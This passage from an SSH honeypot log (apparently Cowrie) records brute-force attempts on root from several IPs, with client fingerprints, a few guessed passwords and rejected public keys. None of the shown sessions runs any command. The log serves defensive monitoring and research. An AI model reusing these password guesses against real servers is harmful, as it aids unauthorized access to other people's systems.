"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:46.596974Z","src_ip":"213.209.159.158","session":"ef80d29fbb90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":41104,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e5c8b589e66","protocol":"ssh","message":"New connection: 103.15.226.202:41104 (10.17.0.5:22) [session: 3e5c8b589e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:55.957029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:55.961477Z","src_ip":"103.15.226.202","session":"3e5c8b589e66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:56.210516Z","src_ip":"103.15.226.202","session":"3e5c8b589e66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexy1","message":"login attempt [root/sexy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:56.304203Z","src_ip":"213.209.159.158","session":"ef80d29fbb90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567a","message":"login attempt [root/1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:56.959125Z","src_ip":"103.15.226.202","session":"3e5c8b589e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:58.211669Z","src_ip":"103.15.226.202","session":"3e5c8b589e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:00.031577Z","src_ip":"213.209.159.158","session":"ef80d29fbb90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8636,"dst_ip":"10.17.0.5","dst_port":22,"session":"2968a5526555","protocol":"ssh","message":"New connection: 213.209.159.158:8636 (10.17.0.5:22) [session: 2968a5526555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:00.115427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:02.329060Z","src_ip":"213.209.159.158","session":"2968a5526555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:02.335577Z","src_ip":"213.209.159.158","session":"2968a5526555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":55622,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d2faff9997","protocol":"ssh","message":"New connection: 148.113.160.5:55622 (10.17.0.5:22) [session: 18d2faff9997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.416113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.421232Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.441292Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:b6:32:48:91:3a:fe:58:18:5b:51:83:25:23:b0:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYaqxhUInXVURCQZ73zYZzMtbi3aaMC0CKIJuemLawVOMKQ71TgKTNZ0RrMbTjHfvyLkDPDCbmGhEZp69rm1YLRmc9IEG3wuqGHliEJ+jz19d5CUL1/lonC3aWl6ZJ410O5Yl9yPK7z3oPqt9g7KqjS2QdDaDRX1JyZSq7tiSkt8U3nyGqWdiqw1btf75b/JgnXqgCYsOCVHR4tO3gRpS7TdmRqVjjVG6YIUuSXjBuQs1hmui1RDQN6/nBE8ZgoAIbQPQuGvy3+67Vea71pxKFq5UUFoIEwf6PGKCBqC0z2zv/aPuXAxDPPmXOF5uo4TMK6AImcApHTfNA4cb/po/H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:b6:32:48:91:3a:fe:58:18:5b:51:83:25:23:b0:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.518951Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:b6:32:48:91:3a:fe:58:18:5b:51:83:25:23:b0:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYaqxhUInXVURCQZ73zYZzMtbi3aaMC0CKIJuemLawVOMKQ71TgKTNZ0RrMbTjHfvyLkDPDCbmGhEZp69rm1YLRmc9IEG3wuqGHliEJ+jz19d5CUL1/lonC3aWl6ZJ410O5Yl9yPK7z3oPqt9g7KqjS2QdDaDRX1JyZSq7tiSkt8U3nyGqWdiqw1btf75b/JgnXqgCYsOCVHR4tO3gRpS7TdmRqVjjVG6YIUuSXjBuQs1hmui1RDQN6/nBE8ZgoAIbQPQuGvy3+67Vea71pxKFq5UUFoIEwf6PGKCBqC0z2zv/aPuXAxDPPmXOF5uo4TMK6AImcApHTfNA4cb/po/H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.523394Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:71:7f:b4:cb:13:53:2e:96:ae:ab:20:9d:af:e6:28","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPoISPn3el8m5x/1QOvEqrntz5sMyW3gVw4Yia5ESnpXCMTNEStnilbq0WOLtwP8Xg7r2AicsQALJz8WyEL6n64lH4vB5+SMnKujdEnUz4Ncdgg9j4VmyZ5G1yo5KEq43BmNnVXBPlJzKqzxLpSEbT2UjimHWjk/T9sYWjp0iy/HAAAAFQCGM2pEQYse7jCYFItLNG1JYmOq4wAAAIEA9r9NZpHPArYrl8RmiK/TudvQlKApmK1C2P6QDw9YC9IhAfzRVIdlp/o4PIKk97KYSPpRFHkwRQA6f4MyriFptAZJgL7qFg4Ec0CjzxyDRC1g2vVMB9xuUzsFDlxEQqe0cAOkDhOpKD/Nv6mgvLDZRBWbz6/JTUcxyRA5atLyPM4AAACBAKKmT51TvWqNCJtFWHj3QFKOC6uWJSf9v/Ta+fcWm59ntYHYS4waOEZ0t9qlq4qncyN6pU5h1lftncnaVBAM7OkR4X1ukKUstiBX4f3El+1/ucbNeGxjH0CdRiBzvTTCYVqdv/HeVGaqDTeGZvCbelonwSytEt73MS2E5taUUzee","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 68:71:7f:b4:cb:13:53:2e:96:ae:ab:20:9d:af:e6:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.546025Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:71:7f:b4:cb:13:53:2e:96:ae:ab:20:9d:af:e6:28","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPoISPn3el8m5x/1QOvEqrntz5sMyW3gVw4Yia5ESnpXCMTNEStnilbq0WOLtwP8Xg7r2AicsQALJz8WyEL6n64lH4vB5+SMnKujdEnUz4Ncdgg9j4VmyZ5G1yo5KEq43BmNnVXBPlJzKqzxLpSEbT2UjimHWjk/T9sYWjp0iy/HAAAAFQCGM2pEQYse7jCYFItLNG1JYmOq4wAAAIEA9r9NZpHPArYrl8RmiK/TudvQlKApmK1C2P6QDw9YC9IhAfzRVIdlp/o4PIKk97KYSPpRFHkwRQA6f4MyriFptAZJgL7qFg4Ec0CjzxyDRC1g2vVMB9xuUzsFDlxEQqe0cAOkDhOpKD/Nv6mgvLDZRBWbz6/JTUcxyRA5atLyPM4AAACBAKKmT51TvWqNCJtFWHj3QFKOC6uWJSf9v/Ta+fcWm59ntYHYS4waOEZ0t9qlq4qncyN6pU5h1lftncnaVBAM7OkR4X1ukKUstiBX4f3El+1/ucbNeGxjH0CdRiBzvTTCYVqdv/HeVGaqDTeGZvCbelonwSytEt73MS2E5taUUzee","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.550689Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:16:d3:cf:a2:02:09:7e:17:84:4a:0b:84:01:ba:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiMb6FErlpdImNLsWaO/UfCSIXy0zyhEoJIAunGSa9vOEUdd3QNPUduTQAYNh+taGoU8m3gn7QpINjcC7+RBME2qfXgwhdw/+ssgNLmKBB5QtC5FAjwaHxZfld+O9ujHrYCQctsosOm+yVj5ZGlhGS2pSNjSg/pXPLzGdaEHmmhgW6Q1qTD06hIIvfH1yRjao1i9btu8peP/F4Z30Xh6B1fi3U/d8YlwS8O19BCFQFiiZOuDv8d8kLYAAHf5WwvZEvUwMqi9BH5ZC2hUwO8o5ndu/dBrU2byfxxiFs0g6YharukTmEjU4uok7wTqR4/DeNKEmmrISaBOf32TOU9Y9A/Zh6XRoPH/uSfz1OtVs0KltepRZ4zoliPfVke2ZmuQ61MjHJwbCxR177o1IQaIG6nlX8LWYCt7XDelQ53lOTUntHPTTvywvC31a04ELs47h1QH+0DNcKffwB7wcPGwvzbtBSLTxVCwr1k7UJwaLvs0qYJ/cZjRWywDwwm+5MjDs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:16:d3:cf:a2:02:09:7e:17:84:4a:0b:84:01:ba:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.572034Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:16:d3:cf:a2:02:09:7e:17:84:4a:0b:84:01:ba:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiMb6FErlpdImNLsWaO/UfCSIXy0zyhEoJIAunGSa9vOEUdd3QNPUduTQAYNh+taGoU8m3gn7QpINjcC7+RBME2qfXgwhdw/+ssgNLmKBB5QtC5FAjwaHxZfld+O9ujHrYCQctsosOm+yVj5ZGlhGS2pSNjSg/pXPLzGdaEHmmhgW6Q1qTD06hIIvfH1yRjao1i9btu8peP/F4Z30Xh6B1fi3U/d8YlwS8O19BCFQFiiZOuDv8d8kLYAAHf5WwvZEvUwMqi9BH5ZC2hUwO8o5ndu/dBrU2byfxxiFs0g6YharukTmEjU4uok7wTqR4/DeNKEmmrISaBOf32TOU9Y9A/Zh6XRoPH/uSfz1OtVs0KltepRZ4zoliPfVke2ZmuQ61MjHJwbCxR177o1IQaIG6nlX8LWYCt7XDelQ53lOTUntHPTTvywvC31a04ELs47h1QH+0DNcKffwB7wcPGwvzbtBSLTxVCwr1k7UJwaLvs0qYJ/cZjRWywDwwm+5MjDs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.576367Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:62:17:3f:79:f1:ed:f8:2c:08:61:42:c4:2b:2d:30","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ1ZaTO2Myc5qc2Ad3dqPdztiSYrg6numKBLdJHBSiWQDO5kPM7jKhWnTnQVXg8QqL91ft4LKt4oy7JUSa6mo24FRt9hGyZw1mbuhp3SfEkOOJWYFEkT9LyK9l+FzSWOzuW9/ix2H4FtsJs1/jtwPEefHuZhfpp5RsFtHM+3sdr3AAAAFQDBwuQCh/KDEC0Rl+Murjs70dQ7zwAAAIEAiqXLTStLafPyFou3eWCoN6tiaY/T2X1YaRYHs1IQt4XUStKuoLD+iriOdohNEb+Mvch46+L9RzWyQlmLe1XRx6tJTSn+D0cTaIVDyBTVfg2TmwqwmHNXuABR35lrfZ3Jx74ZidM/HG/YzNAIBvtS5/gmLMbrx/tpD1kwZul0gIsAAACBAJG0hicG/VHr4Rmoo97koGxTX40Y+QIp71QOUYUON0jesF2/qy3XRlyHKvSg03dem+gnjef7zbH6Q7+je88CvPvX4mvbt4ox8uwjYLAhBmdTongDtIvV4ZT3RdM+sqYDLYcmmr84PGjSDbq/7ztE90NRHhdWtMU7Rxid+kqMbner","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 46:62:17:3f:79:f1:ed:f8:2c:08:61:42:c4:2b:2d:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.597222Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:62:17:3f:79:f1:ed:f8:2c:08:61:42:c4:2b:2d:30","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ1ZaTO2Myc5qc2Ad3dqPdztiSYrg6numKBLdJHBSiWQDO5kPM7jKhWnTnQVXg8QqL91ft4LKt4oy7JUSa6mo24FRt9hGyZw1mbuhp3SfEkOOJWYFEkT9LyK9l+FzSWOzuW9/ix2H4FtsJs1/jtwPEefHuZhfpp5RsFtHM+3sdr3AAAAFQDBwuQCh/KDEC0Rl+Murjs70dQ7zwAAAIEAiqXLTStLafPyFou3eWCoN6tiaY/T2X1YaRYHs1IQt4XUStKuoLD+iriOdohNEb+Mvch46+L9RzWyQlmLe1XRx6tJTSn+D0cTaIVDyBTVfg2TmwqwmHNXuABR35lrfZ3Jx74ZidM/HG/YzNAIBvtS5/gmLMbrx/tpD1kwZul0gIsAAACBAJG0hicG/VHr4Rmoo97koGxTX40Y+QIp71QOUYUON0jesF2/qy3XRlyHKvSg03dem+gnjef7zbH6Q7+je88CvPvX4mvbt4ox8uwjYLAhBmdTongDtIvV4ZT3RdM+sqYDLYcmmr84PGjSDbq/7ztE90NRHhdWtMU7Rxid+kqMbner","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.601123Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:ff:38:06:5a:e6:f0:17:73:db:90:b6:b6:17:0d:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChvJZ0ocfzilEVtJoReAytvPffucDU98oElmkIaVf3RGr6DOX+0rB/rrsdtgL3QwzjFlxLH4gbd7eqFInQIEwe93R8aUoE1f9NTHbSfaCE3JXun+JsdcrZPHucdX/zwHIlB3rIevmaEUKTWkHuLTQGppc/UvmneDG21QyOU2tnylInyoA77y+wRxVcmHJhRbg27p+VVfpgVlSpqoPtGShVLTGqexQx0R3W1OzZ7dQpSlEnFMcr8BUsxoivF57Wd0ZySYoCAA6dMIkiQmTt7AqjqCDQ/JSMimEX3+Sj+WTfqyveP/PHqQD5xACnOAJx6BpBMuxmKbZ6WMqXng7h26r38wiGRxwpXtsVH4kMGAtn18EANLMiL8xsKeSU+rTn1tr83DfQ8HHQX4kQklVN4JkbQvzP6BVZ8ix0beNJybACG1vBISVtwAe8ym08tVDmg0tCHN43MbOwqNvuwZU+8YzgSt2aJwva5cq0E4+MeH+MLgvEzWTJo0iV3MgwsIbmG9k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:ff:38:06:5a:e6:f0:17:73:db:90:b6:b6:17:0d:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.622992Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:ff:38:06:5a:e6:f0:17:73:db:90:b6:b6:17:0d:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChvJZ0ocfzilEVtJoReAytvPffucDU98oElmkIaVf3RGr6DOX+0rB/rrsdtgL3QwzjFlxLH4gbd7eqFInQIEwe93R8aUoE1f9NTHbSfaCE3JXun+JsdcrZPHucdX/zwHIlB3rIevmaEUKTWkHuLTQGppc/UvmneDG21QyOU2tnylInyoA77y+wRxVcmHJhRbg27p+VVfpgVlSpqoPtGShVLTGqexQx0R3W1OzZ7dQpSlEnFMcr8BUsxoivF57Wd0ZySYoCAA6dMIkiQmTt7AqjqCDQ/JSMimEX3+Sj+WTfqyveP/PHqQD5xACnOAJx6BpBMuxmKbZ6WMqXng7h26r38wiGRxwpXtsVH4kMGAtn18EANLMiL8xsKeSU+rTn1tr83DfQ8HHQX4kQklVN4JkbQvzP6BVZ8ix0beNJybACG1vBISVtwAe8ym08tVDmg0tCHN43MbOwqNvuwZU+8YzgSt2aJwva5cq0E4+MeH+MLgvEzWTJo0iV3MgwsIbmG9k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.626614Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.648302Z","src_ip":"148.113.160.5","session":"18d2faff9997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shabi250","message":"login attempt [root/shabi250] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:12.795042Z","src_ip":"213.209.159.158","session":"2968a5526555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:16.114601Z","src_ip":"213.209.159.158","session":"2968a5526555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32900,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f014697729","protocol":"ssh","message":"New connection: 213.209.159.158:32900 (10.17.0.5:22) [session: 26f014697729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:16.198735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:18.737768Z","src_ip":"213.209.159.158","session":"26f014697729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:18.741568Z","src_ip":"213.209.159.158","session":"26f014697729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37824,"dst_ip":"10.17.0.5","dst_port":22,"session":"baec71b8e9f4","protocol":"ssh","message":"New connection: 2.57.122.208:37824 (10.17.0.5:22) [session: baec71b8e9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:23:23.330159Z"}
